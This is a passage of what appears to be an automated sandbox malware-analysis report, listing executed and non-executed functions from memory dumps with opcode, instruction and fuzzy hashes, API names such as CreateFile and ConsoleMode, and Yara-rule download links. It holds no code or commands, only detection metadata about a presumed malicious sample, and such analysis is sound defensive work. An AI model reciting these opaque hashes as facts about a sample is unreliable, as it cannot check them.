                                                      • Opcode Fuzzy Hash: b1a48c9f4dd187da673c8bb9a392a044f59d4b2cab021ba999d3543e986b4ff1
                                                      • Instruction Fuzzy Hash: 5F312931A1CB8C8FDB49DB1C9C566A87BE0FB96311F04426FE449D3292DA246855CBC2
                                                      Function 00007FFD3454B6B8 Relevance: .1, Instructions: 103COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335924026.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8c31351207465c327833cebb3dd60d4b87df4f3a1a566911aefc8ba5b73d6f7c
                                                      • Instruction ID: 41240bb41e2fa6a5ccc17508a53954bec10199f4ab9d06936a8c50b5d263282f
                                                      • Opcode Fuzzy Hash: 8c31351207465c327833cebb3dd60d4b87df4f3a1a566911aefc8ba5b73d6f7c
                                                      • Instruction Fuzzy Hash: 3A21273090CA4C8FDB59DF9C984A7F9BBE0EB96321F00426FD449C3162DA74A41ACB91
                                                      Function 00007FFD345433B5 Relevance: .0, Instructions: 49COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335924026.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                      • Instruction ID: 5d7fcb5bbf17594a2fd62b4d39bec78ad26d850823527c364f545537ea33e4f1
                                                      • Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                      • Instruction Fuzzy Hash: 5001677121CB0C4FD744EF0CE451AA5B7E0FB95364F50056DE58AC3665DB36E882CB45
                                                      Function 00007FFD3454B4F8 Relevance: .0, Instructions: 39COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335924026.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 23c91f8b5f02739cfa62a22aced883f46094f7c38ca5c41e8d027ed244a854fa
                                                      • Instruction ID: a7c3376c3deafd075ac5774d07ee0534c137f2ecb50a21a7a6283604abf4d0e4
                                                      • Opcode Fuzzy Hash: 23c91f8b5f02739cfa62a22aced883f46094f7c38ca5c41e8d027ed244a854fa
                                                      • Instruction Fuzzy Hash: 31F0F631C0C6C94FDB469F2888654D57FA0EF17320B0503DAD458C71E2EB649454C792
                                                      Function 00007FFD34614E1D Relevance: .0, Instructions: 37COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2336570225.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c661c138b7ab9c8a875d13f43f52855ba5ffc2619285d62de5adec7c79c9c403
                                                      • Instruction ID: b4ca541d813972d9b82ad9bd1be1057af447196f5d034b3cefdc17b00591fc7e
                                                      • Opcode Fuzzy Hash: c661c138b7ab9c8a875d13f43f52855ba5ffc2619285d62de5adec7c79c9c403
                                                      • Instruction Fuzzy Hash: 97F0BE32B4C6458FD6A8EF5CE4908E873E0EF4532071000BAE15DC7063CA29EC41C740
                                                      Function 00007FFD346150D0 Relevance: .0, Instructions: 35COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2336570225.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 865327e2a793f6418949f623d42b522bc12f487c8642f40775e776be9bab82fa
                                                      • Instruction ID: 32b8f424e85158be44218b163ad3995c0cbafae8ff7987f79f600183dc7a542f
                                                      • Opcode Fuzzy Hash: 865327e2a793f6418949f623d42b522bc12f487c8642f40775e776be9bab82fa
                                                      • Instruction Fuzzy Hash: D4F05E32B0C5548FD799EE8CE4A54E8B7E1EF0532071400B6E15DC7567CA29AC54C740
                                                      Function 00007FFD34613694 Relevance: .0, Instructions: 35COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2336570225.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3b05b01d7c524ffdd55a87668bf396294b3df3fe115e5e6e483371ff245cabe9
                                                      • Instruction ID: 7c755d458437e955e9bec3a79a2bcda72e41bc7487994f14a989249eca044518
                                                      • Opcode Fuzzy Hash: 3b05b01d7c524ffdd55a87668bf396294b3df3fe115e5e6e483371ff245cabe9
                                                      • Instruction Fuzzy Hash: 25F0A03131CF044FE748EE2DE4496A2B7E0FBA8314F10462FE44AC3251DA21E8818782

                                                      Non-executed Functions

                                                      Function 00007FFD34548785 Relevance: 18.0, Strings: 14, Instructions: 478COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335924026.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 4$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^
                                                      • API String ID: 0-2318919026
                                                      • Opcode ID: 6be7e27ca980fc16ff561165e87916e7f8049a3199434b1760693159d06a13e6
                                                      • Instruction ID: 1eb8160280d7f5a65e1e02a0b4086a648cfcdf4154cfb3453c97c905a98371d3
                                                      • Opcode Fuzzy Hash: 6be7e27ca980fc16ff561165e87916e7f8049a3199434b1760693159d06a13e6
                                                      • Instruction Fuzzy Hash: 07F1C6A7E0EAC21BF767566858F60A52B90EF53364B0D01F6C7D8CF1D3EE1C68069252
                                                      Function 00007FFD345487F2 Relevance: 12.7, Strings: 10, Instructions: 229COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335924026.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 4$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^$N_^
                                                      • API String ID: 0-1852464935
                                                      • Opcode ID: de8b2b61a9609d335de2064f1765219beac5fdef46cd6647c9ebad3be0ed7223
                                                      • Instruction ID: e10f24adf880c284f346bb51fa8ef6e75f8c352f537ad813044287ba6d7017ce
                                                      • Opcode Fuzzy Hash: de8b2b61a9609d335de2064f1765219beac5fdef46cd6647c9ebad3be0ed7223
                                                      • Instruction Fuzzy Hash: A77166ABE0EAC61BF76B465848F61956BD0EF53764B0904F6CBD4CF293EE1D34066202
                                                      Function 00007FFD345487D3 Relevance: 10.2, Strings: 8, Instructions: 224COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335924026.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 4$N_^$N_^$N_^$N_^$N_^$N_^$N_^
                                                      • API String ID: 0-329795183
                                                      • Opcode ID: 1a419a2320f3beb7f63b5985d9ab474d4fc2cb3b6450f012841bdfd057ac471c
                                                      • Instruction ID: 025a9eae03f29d7c5def838cb8c5e323d9de35fbc20c6aaf2fd591043cc8ab11
                                                      • Opcode Fuzzy Hash: 1a419a2320f3beb7f63b5985d9ab474d4fc2cb3b6450f012841bdfd057ac471c
                                                      • Instruction Fuzzy Hash: 837177ABE0EAC60BF76B465848F61A56B90EF53764B0904F6C7D4CF293EE1D34066242

                                                      Executed Functions

                                                      Function 00007FFD346215DD Relevance: 1.9, Strings: 1, Instructions: 611COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000017.00000002.3653178208.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: P2w4
                                                      • API String ID: 0-2355952324
                                                      • Opcode ID: a3217014f7127f26e64291114680d919ff8c0232c76800f6192338e93b644e45
                                                      • Instruction ID: 07d5b5b48d0463ceb9082877fd5ef67d4bc8be0a47ccde481651d4db415deea2
                                                      • Opcode Fuzzy Hash: a3217014f7127f26e64291114680d919ff8c0232c76800f6192338e93b644e45
                                                      • Instruction Fuzzy Hash: 2102F522A0E7D62FE3969B3858B51F47BE1EF53250B0901FBD589CB193D91CEC069392
                                                      Function 00007FFD3455D4F9 Relevance: 1.7, APIs: 1, Instructions: 247fileCOMMON
                                                      Download Yara Rule
                                                      APIs
                                                      Memory Dump Source
                                                      • Source File: 00000017.00000002.3644675742.00007FFD34554000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34554000, based on PE: false
                                                      Similarity
                                                      • API ID: CreateFile
                                                      • String ID:
                                                      • API String ID: 823142352-0
                                                      • Opcode ID: 10292a47f48d6165cf621ec4985b28e01dd7b25716a4eec1dd998b2a31ba4f4a
                                                      • Instruction ID: 7c5d04182cdfc15759173f27391d26c68afdf63c70855c2fe2e64a9b6b1b94fe
                                                      • Opcode Fuzzy Hash: 10292a47f48d6165cf621ec4985b28e01dd7b25716a4eec1dd998b2a31ba4f4a
                                                      • Instruction Fuzzy Hash: 2771F972E0CA484FD759DB6C94956B97BE0FF5A315F0442BFE04ED3292DA28E8058781
                                                      Function 00007FFD3455D711 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                                      Download Yara Rule
                                                      APIs
                                                      Memory Dump Source
                                                      • Source File: 00000017.00000002.3644675742.00007FFD34554000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34554000, based on PE: false
                                                      Similarity
                                                      • API ID: ConsoleMode
                                                      • String ID:
                                                      • API String ID: 4145635619-0
                                                      • Opcode ID: 59903ce9e35541fdaa12d709854c83df3eee453ba74f3b23bbeaaaacd5210ccf
                                                      • Instruction ID: c37173b6e5eee5bb5b8a651e89232b8dc7e44ba9e10ed22192be8212f197c023
                                                      • Opcode Fuzzy Hash: 59903ce9e35541fdaa12d709854c83df3eee453ba74f3b23bbeaaaacd5210ccf
                                                      • Instruction Fuzzy Hash: FF31F631E0C6588FDB58DFA8D8857F9BBE0EF56320F0441AAD449D7256CB74A845CB81
                                                      Function 00007FFD3455D810 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                      Download Yara Rule
                                                      APIs
                                                      Memory Dump Source
                                                      • Source File: 00000017.00000002.3644675742.00007FFD34554000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34554000, based on PE: false
                                                      Similarity
                                                      • API ID: ConsoleMode
                                                      • String ID:
                                                      • API String ID: 4145635619-0
                                                      • Opcode ID: 8343ab91119fc414751c2bbba9e30773fcda087c8a47c9023869402cb638fa06
                                                      • Instruction ID: 0e07549567c82e1202b8cebed651b2060e87d965b1760f47cf64bcdde5d5d449
                                                      • Opcode Fuzzy Hash: 8343ab91119fc414751c2bbba9e30773fcda087c8a47c9023869402cb638fa06
                                                      • Instruction Fuzzy Hash: DD313831E0C6488FEB58DFA8C8867F97BE0EF66321F04416FD049D7292CA74A805CB91
                                                      Function 00007FFD34621390 Relevance: .3, Instructions: 269COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000017.00000002.3653178208.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a5fb30cabf701645d86829e2295e7284c2d4996fe7cb7d31fa08114ad329a675
                                                      • Instruction ID: 714183d90b660d33345040bd637d890168d530f0226bb41252552866b6988dfd
                                                      • Opcode Fuzzy Hash: a5fb30cabf701645d86829e2295e7284c2d4996fe7cb7d31fa08114ad329a675
                                                      • Instruction Fuzzy Hash: AD711672A0DF5D1FE7A9EF2858A55F637D2EF96260B04017EE59DC3192ED18E8028341
                                                      Function 00007FFD346217FD Relevance: .1, Instructions: 93COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000017.00000002.3653178208.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6f4fcc86a6f62ac8150ee9e78e3b2b58aed3221837cad4e191a9083f33140054
                                                      • Instruction ID: 11a14e24c0e22fa21a8f2f4ee24f9393424d9e8ebdbd2b1c2deeefb88ba8a10d
                                                      • Opcode Fuzzy Hash: 6f4fcc86a6f62ac8150ee9e78e3b2b58aed3221837cad4e191a9083f33140054
                                                      • Instruction Fuzzy Hash: BC21A413F1EAAA2BE3A95B6C28F50F466C1EF52790B5901BAD64DD71D2DC1CEC026182

                                                      Executed Functions

                                                      Function 00007FFD346215DD Relevance: 1.9, Strings: 1, Instructions: 621COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000019.00000002.3640014756.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: P2w4
                                                      • API String ID: 0-2355952324
                                                      • Opcode ID: 62ba4c5be871cde4e7d4b7c60b1dbea86fb46b81a02f5e85f1eb3736261b805b
                                                      • Instruction ID: f74a0aa7d640740e0418b14c5dfc1e91a962052608dc0a0b5b485c7af6137514
                                                      • Opcode Fuzzy Hash: 62ba4c5be871cde4e7d4b7c60b1dbea86fb46b81a02f5e85f1eb3736261b805b
                                                      • Instruction Fuzzy Hash: 9212F662A0E7D62FE3568B2858B51F47FE1EF53290B0901FBD588CB193D91CEC069392
                                                      Function 00007FFD3455D4F9 Relevance: 1.7, APIs: 1, Instructions: 248fileCOMMON
                                                      Download Yara Rule
                                                      APIs
                                                      Memory Dump Source
                                                      • Source File: 00000019.00000002.3632561343.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false
                                                      Similarity
                                                      • API ID: CreateFile
                                                      • String ID:
                                                      • API String ID: 823142352-0
                                                      • Opcode ID: d25bfeeeb98fb5836ccb6255eae4bee48afa0eeacde9d94557cef7f6d4037f97
                                                      • Instruction ID: b1720e4d7badec2566a4cd6c45065fd7b7c7f4c162de8d999f0f23023ace6b79
                                                      • Opcode Fuzzy Hash: d25bfeeeb98fb5836ccb6255eae4bee48afa0eeacde9d94557cef7f6d4037f97
                                                      • Instruction Fuzzy Hash: D571E972E0CA484FE759DF6CD8556B97BE0FB5A315F0442BFE04ED3292DA28E8058781
                                                      Function 00007FFD3455D711 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                                      Download Yara Rule
                                                      APIs
                                                      Memory Dump Source
                                                      • Source File: 00000019.00000002.3632561343.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false
                                                      Similarity
                                                      • API ID: ConsoleMode
                                                      • String ID:
                                                      • API String ID: 4145635619-0
                                                      • Opcode ID: 59903ce9e35541fdaa12d709854c83df3eee453ba74f3b23bbeaaaacd5210ccf
                                                      • Instruction ID: c37173b6e5eee5bb5b8a651e89232b8dc7e44ba9e10ed22192be8212f197c023
                                                      • Opcode Fuzzy Hash: 59903ce9e35541fdaa12d709854c83df3eee453ba74f3b23bbeaaaacd5210ccf
                                                      • Instruction Fuzzy Hash: FF31F631E0C6588FDB58DFA8D8857F9BBE0EF56320F0441AAD449D7256CB74A845CB81
                                                      Function 00007FFD3455D810 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                      Download Yara Rule
                                                      APIs
                                                      Memory Dump Source
                                                      • Source File: 00000019.00000002.3632561343.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false
                                                      Similarity
                                                      • API ID: ConsoleMode
                                                      • String ID:
                                                      • API String ID: 4145635619-0
                                                      • Opcode ID: 8343ab91119fc414751c2bbba9e30773fcda087c8a47c9023869402cb638fa06
                                                      • Instruction ID: 0e07549567c82e1202b8cebed651b2060e87d965b1760f47cf64bcdde5d5d449
                                                      • Opcode Fuzzy Hash: 8343ab91119fc414751c2bbba9e30773fcda087c8a47c9023869402cb638fa06
                                                      • Instruction Fuzzy Hash: DD313831E0C6488FEB58DFA8C8867F97BE0EF66321F04416FD049D7292CA74A805CB91
                                                      Function 00007FFD34621390 Relevance: .3, Instructions: 269COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000019.00000002.3640014756.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a5fb30cabf701645d86829e2295e7284c2d4996fe7cb7d31fa08114ad329a675
                                                      • Instruction ID: 714183d90b660d33345040bd637d890168d530f0226bb41252552866b6988dfd
                                                      • Opcode Fuzzy Hash: a5fb30cabf701645d86829e2295e7284c2d4996fe7cb7d31fa08114ad329a675
                                                      • Instruction Fuzzy Hash: AD711672A0DF5D1FE7A9EF2858A55F637D2EF96260B04017EE59DC3192ED18E8028341
                                                      Function 00007FFD346217FD Relevance: .1, Instructions: 93COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000019.00000002.3640014756.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6f4fcc86a6f62ac8150ee9e78e3b2b58aed3221837cad4e191a9083f33140054
                                                      • Instruction ID: 11a14e24c0e22fa21a8f2f4ee24f9393424d9e8ebdbd2b1c2deeefb88ba8a10d
                                                      • Opcode Fuzzy Hash: 6f4fcc86a6f62ac8150ee9e78e3b2b58aed3221837cad4e191a9083f33140054
                                                      • Instruction Fuzzy Hash: BC21A413F1EAAA2BE3A95B6C28F50F466C1EF52790B5901BAD64DD71D2DC1CEC026182